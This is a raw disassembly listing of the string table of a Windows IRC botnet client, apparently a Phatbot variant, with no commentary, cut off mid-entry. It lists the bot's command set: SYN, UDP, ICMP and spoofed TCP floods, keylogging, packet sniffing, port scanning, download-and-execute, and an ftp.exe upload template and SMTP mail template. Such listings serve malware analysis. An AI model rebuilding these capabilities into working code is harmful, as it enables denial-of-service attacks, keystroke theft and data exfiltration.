DATA XREF: sub_401B66:loc_408D37o align 4 dword_42B3BC dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401B66+71B9o dd 2E732520h, 0 unk_42B3D8 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408CDCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_42B408 db 2Dh ; - ; DATA XREF: sub_401B66+7160o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 10h unk_42B430 db 2Dh ; - ; DATA XREF: sub_401B66+70BDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 10h unk_42B450 db 2Dh ; - ; DATA XREF: sub_401B66+707Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 10h unk_42B470 db 2Dh ; - ; DATA XREF: sub_401B66+7023o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42B48C dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401B66+6FB4o dword_42B4A0 dd 54524150h, 0D732520h, 0Ah ; sub_401B66+7ADBo unk_42B4AC db 2Dh ; - ; DATA XREF: sub_401B66+6F50o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+6F42o align 4 dword_42B4D4 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401B66+6F17o dd 25203A29h, 73h dword_42B4F0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401B66+6EABo dd 203A2973h, 7325h dword_42B50C dd 45444F4Dh, 732520hdword_42B514 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401B66+6E23o dd 203A2973h, 7325h dword_42B530 dd 4E494F4Ah, 20732520h, 7325hdword_42B53C dd 0A0D7325h, 0 ; sub_401B66+6E04o ... dword_42B544 dd 54524150h, 732520hdword_42B54C dd 234032Dh, 67726174h, 3023361haFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B588 dd 234032Dh, 67726174h, 3023361haFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42B5B4 db 2Dh ; - ; DATA XREF: sub_401B66+6C24o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42B5F0 db 2Dh ; - ; DATA XREF: sub_401B66+6BCBo db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42B624 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4086CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_42B658 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401B66+6B2Do dd 7325h dword_42B670 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401B66:loc_4085FFo dword_42B684 dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; sub_401B66+6B07o ... dword_42B698 dd 234032Dh, 61647075h, 3026574haBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_42B6E0 dd 234032Dh, 61647075h, 3026574haFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42B71C dd 234032Dh, 61647075h, 3026574haDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401B66+68E9o align 4 dword_42B754 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401B66+688Ao dd 7325203Ah, 0 unk_42B770 db 2Dh ; - ; DATA XREF: sub_401B66+687Fo db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42B794 db 2Dh ; - ; DATA XREF: sub_401B66+67CDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42B7D0 db 2Dh ; - ; DATA XREF: sub_401B66+6769o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42B800 dd 234032Dh, 656C6966h, 2D0302h ; sub_401B66:loc_4092CBo unk_42B80C db 2Dh ; - ; DATA XREF: sub_401B66+66B6o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42B830 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4081FAo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42B868 db 2Dh ; - ; DATA XREF: sub_401B66+6675o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42B8A0 db 2Dh ; - ; DATA XREF: sub_401B66+6611o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42B8CC dd 234032Dh, 6E6F6C63h, 3027365haFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42B908 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42B938 db 2Dh ; - ; DATA XREF: sub_401B66+6485o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42B970 db 2Dh ; - ; DATA XREF: sub_401B66+6429o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42B9A0 db 2Dh ; - ; DATA XREF: sub_401B66+638Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42B9D8 db 2Dh ; - ; DATA XREF: sub_401B66+6331o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42BA08 db 2Dh ; - ; DATA XREF: sub_401B66+62A6o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42BA40 db 2Dh ; - ; DATA XREF: sub_401B66+624Ao db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42BA7C db 2Dh ; - ; DATA XREF: sub_401B66+61BFo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42BABC db 2Dh ; - ; DATA XREF: sub_401B66+6166o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42BAE8 db 2Dh ; - ; DATA XREF: sub_401B66+6085o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42BB2C db 2Dh ; - ; DATA XREF: sub_401B66+602Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42BB68 db 2Dh ; - ; DATA XREF: sub_401B66+5F33o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401B66+5EAFo align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401B66+5DADo align 4 dword_42BBC4 dd 54434101h, 204E4F49h, 17325h ; sub_401B66+7000o unk_42BBD0 db 2Dh ; - ; DATA XREF: sub_401B66+5CA3o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42BC10 db 2Dh ; - ; DATA XREF: sub_401B66+5C4Ao db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42BC60 db 2Dh ; - ; DATA XREF: sub_401B66+5B9Eo ; sub_401B66+5F8Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42BC98 db 2Dh ; - ; DATA XREF: sub_401B66+5B45o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 10h unk_42BD00 db 2Dh ; - ; DATA XREF: sub_401B66+59CFo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_11 db 'Failed to start scan, no IP specified.',0 align 4 unk_42BD34 db 2Dh ; - ; DATA XREF: sub_401B66+5972o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start scan, port is invalid.',0 align 4 unk_42BD68 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4073B7o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42BD98 db 2Dh ; - ; DATA XREF: sub_401B66+584Ao db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401B66+5831o aSS_3 db '-s:%s',0 ; DATA XREF: sub_401B66+581Ao align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401B66+57FAo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401B66+57D6o ; sub_41226B+4Eo align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401B66+57C5o align 4 unk_42BE08 db 2Dh ; - ; DATA XREF: sub_401B66+576Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401B66+5749o align 10h unk_42BE30 db 2Dh ; - ; DATA XREF: sub_401B66+5713o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 10h unk_42BE70 db 2Dh ; - ; DATA XREF: sub_401B66+56CBo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42BEA8 db 2Dh ; - ; DATA XREF: sub_401B66+5672o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42BEF0 db 2Dh ; - ; DATA XREF: sub_401B66+55C4o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401B66+5590o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42BF58 db 2Dh ; - ; DATA XREF: sub_401B66+556Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42BF90 db 2Dh ; - ; DATA XREF: sub_401B66+54BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401B66+549Fo align 4 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401B66+5475o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_14 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42C020 db 2Dh ; - ; DATA XREF: sub_401B66+541Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42C068 db 2Dh ; - ; DATA XREF: sub_401B66:loc_406EB2o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 10h unk_42C0A0 db 2Dh ; - ; DATA XREF: sub_401B66+5330o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401B66+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401B66+52BCo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401B66+52B5o unk_42C11C db 2Dh ; - ; DATA XREF: sub_401B66+5220o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401B66+5210o ; sub_41444D+2FDo align 10h aAck db 'ack',0 ; DATA XREF: sub_401B66+51F9o ; sub_41444D+2DDo aHcon db 'hcon',0 ; DATA XREF: sub_401B66+5183o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401B66+5170o unk_42C164 db 2Dh ; - ; DATA XREF: sub_401B66+5121o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401B66+50ADo db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401B66+4FC2o align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401B66+4FABo aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401B66+4F94o align 4 aP: ; DATA XREF: sub_401B66+4F7Do ; .packed:0043A8E0o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401B66+4F66o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401B66+4F4Fo align 4 aNs db 'ns',0 ; DATA XREF: sub_401B66+4F38o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401B66+4F21o aU: ; DATA XREF: sub_401B66+4F0Ao unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401B66+4EF3o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401B66+4EDCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401B66+4EC5o aAdvscan db 'advscan',0 ; DATA XREF: sub_401B66+4EAEo aPsc db 'psc',0 ; DATA XREF: sub_401B66+4E97o aPortscan db 'portscan',0 ; DATA XREF: sub_401B66+4E80o align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401B66+4E5Ao aC_action db 'c_action',0 ; DATA XREF: sub_401B66+4E43o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401B66+4E2Co align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401B66+4E15o align 4 aSc db 'sc',0 ; DATA XREF: sub_401B66+4DFEo align 4 aScan db 'scan',0 ; DATA XREF: sub_401B66+4DE7o align 10h aRd db 'rd',0 ; DATA XREF: sub_401B66+4DD0o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401B66+4DB9o align 10h aD1909 db 'd1909',0 ; DATA XREF: sub_401B66+4DA2o align 4 aDownload909 db 'download909',0 ; DATA XREF: sub_401B66+4D8Bo aWonk db 'wonk',0 ; DATA XREF: sub_401B66+4D74o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401B66+4D5Do align 4 dword_42C2A8 dd 234032Dh, 73796B73h, 3026E79haFailedToSta_16 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42C2E4 dd 234032Dh, 73796B73h, 3026E79haFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401B66+4C5Fo align 4 aSyn db 'syn',0 ; DATA XREF: sub_401B66+4C48o ; sub_401B66+51E1o ... aSynflood db 'synflood',0 ; DATA XREF: sub_401B66+4C31o align 4 unk_42C32C db 2Dh ; - ; DATA XREF: sub_401B66+4C0Fo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_17 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401B66+4B4Eo align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401B66+4B37o ; sub_413133:loc_41325Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401B66+4B20o ; sub_413133:loc_413243o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401B66+4B09o ; sub_413133+F1o align 4 aC_0: ; DATA XREF: sub_401B66+4AF2o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401B66+4ADBo align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401B66+4AB2o align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401B66+4A9Bo align 4 aMv db 'mv',0 ; DATA XREF: sub_401B66+4A84o align 10h aRename db 'rename',0 ; DATA XREF: sub_401B66+4A6Do align 4 aFf db 'ff',0 ; DATA XREF: sub_401B66+4A56o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401B66+4A3Fo align 4 aE: ; DATA XREF: sub_401B66+4A28o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401B66+4A11o aUp909 db 'up909',0 ; DATA XREF: sub_401B66+49FAo align 4 aUpdate909 db 'update909',0 ; DATA XREF: sub_401B66+49E3o align 4 aDe db 'de',0 ; DATA XREF: sub_401B66+49CCo align 4 aDelay db 'delay',0 ; DATA XREF: sub_401B66+49B5o align 4 aRp db 'rp',0 ; DATA XREF: sub_401B66+499Eo align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401B66+4987o ; sub_401B66+6ADAo align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401B66+4970o aTsunami db 'tsunami',0 ; DATA XREF: sub_401B66+4959o aT3 db 't3',0 ; DATA XREF: sub_401B66+4942o align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401B66+492Bo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401B66+4914o aC_part db 'c_part',0 ; DATA XREF: sub_401B66+48FDo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401B66+48E6o aC_join db 'c_join',0 ; DATA XREF: sub_401B66+48CFo align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401B66+48B8o aC_nick db 'c_nick',0 ; DATA XREF: sub_401B66+48A1o align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401B66+488Ao aC_mode db 'c_mode',0 ; DATA XREF: sub_401B66+4873o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401B66+485Co aC_raw db 'c_raw',0 ; DATA XREF: sub_401B66+4845o align 4 aM: ; DATA XREF: sub_401B66+482Eo ; .packed:0043A920o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401B66+4800o align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401B66+47E9o align 4 aA: ; DATA XREF: sub_401B66+47D2o ; .packed:0043A8E4o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401B66+47BBo align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401B66+478Do aAa db 'aa',0 ; DATA XREF: sub_401B66+4776o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401B66+475Fo align 4 aKl db 'kl',0 ; DATA XREF: sub_401B66+4748o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401B66+4731o aGh db 'gh',0 ; DATA XREF: sub_401B66+4708o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401B66+46F3o aCap db 'cap',0 ; DATA XREF: sub_401B66+46DEo aCapture db 'capture',0 ; DATA XREF: sub_401B66+46C9o unk_42C4BC db 2Dh ; - ; DATA XREF: sub_401B66:loc_406216o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42C4D8 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40620Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401B66+4667o ; sub_409A1D+5F0o align 4 unk_42C504 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4061C3o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42C524 db 2Dh ; - ; DATA XREF: sub_401B66+4656o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42C544 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40612Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42C564 db 2Dh ; - ; DATA XREF: sub_401B66+45BFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401B66+4556o align 10h aContinue db 'continue',0 ; DATA XREF: sub_401B66+451Co align 4 aPause db 'pause',0 ; DATA XREF: sub_401B66+44FFo align 4 aStop db 'stop',0 ; DATA XREF: sub_401B66+44E5o align 4 unk_42C5AC db 2Dh ; - ; DATA XREF: sub_401B66:loc_40603Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42C5CC db 2Dh ; - ; DATA XREF: sub_401B66+44CEo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401B66+4478o align 4 unk_42C5F8 db 2Dh ; - ; DATA XREF: sub_401B66+4446o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401B66+4422o dword_42C634 dd 234032Dh, 6C79656Bh, 302676FhaFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 10h dword_42C670 dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42C694 dd 234032Dh, 6C79656Bh, 302676FhaAlreadyRunning db '- Already running.',0 align 4 dword_42C6B4 dd 234032Dh, 6C79656Bh, 302676FhaNoKeyLoggerThr db '- No key logger thread found.',0 align 10h dword_42C6E0 dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401B66+42BCo align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401B66+429Ao align 4 unk_42C72C db 2Dh ; - ; DATA XREF: sub_401B66:loc_405DF5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 align 10h unk_42C760 db 2Dh ; - ; DATA XREF: sub_401B66+4285o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42C7A0 db 2Dh ; - ; DATA XREF: sub_401B66+4240o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42C7DC db 2Dh ; - ; DATA XREF: sub_401B66+41E7o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42C80C db 2Dh ; - ; DATA XREF: sub_401B66+4183o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401B66+414Co dword_42C834 dd 234032Dh, 696E7370h, 3026666haNoCarnivoreThr db '- No Carnivore thread found.',0 align 10h dword_42C860 dd 234032Dh, 696E7370h, 3026666haCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42C89C dd 234032Dh, 696E7370h, 3026666haFailedToSta_19 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42C8D8 dd 234032Dh, 696E7370h, 3026666haCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42C908 dd 234032Dh, 696E7370h, 3026666haAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401B66+4015o ; sub_401B66+4163o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401B66+3FFEo align 4 aRf db 'rf',0 ; DATA XREF: sub_401B66+3FE9o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401B66+3FD4o align 4 aCm db 'cm',0 ; DATA XREF: sub_401B66+3FBFo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401B66+3FAAo aMirc db 'mirc',0 ; DATA XREF: sub_401B66+3F95o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401B66+3F80o aV: ; DATA XREF: sub_401B66+3F6Bo ; .packed:0043A914o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401B66+3F56o align 4 aLi db 'li',0 ; DATA XREF: sub_401B66+3F41o align 4 aList db 'list',0 ; DATA XREF: sub_401B66+3F2Co align 4 aGt db 'gt',0 ; DATA XREF: sub_401B66+3F17o align 4 aDel db 'del',0 ; DATA XREF: sub_401B66+3EEDo aDelete db 'delete',0 ; DATA XREF: sub_401B66+3ED8o ; sub_401B66+4539o align 4 aKi db 'ki',0 ; DATA XREF: sub_401B66+3EC3o align 4 aKill db 'kill',0 ; DATA XREF: sub_401B66+3EAEo align 10h aKp db 'kp',0 ; DATA XREF: sub_401B66+3E99o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401B66+3E84o align 10h aDn db 'dn',0 ; DATA XREF: sub_401B66+3E6Fo align 4 aDns db 'dns',0 ; DATA XREF: sub_401B66+3E5Ao aSe db 'se',0 ; DATA XREF: sub_401B66+3E45o align 4 aO: ; 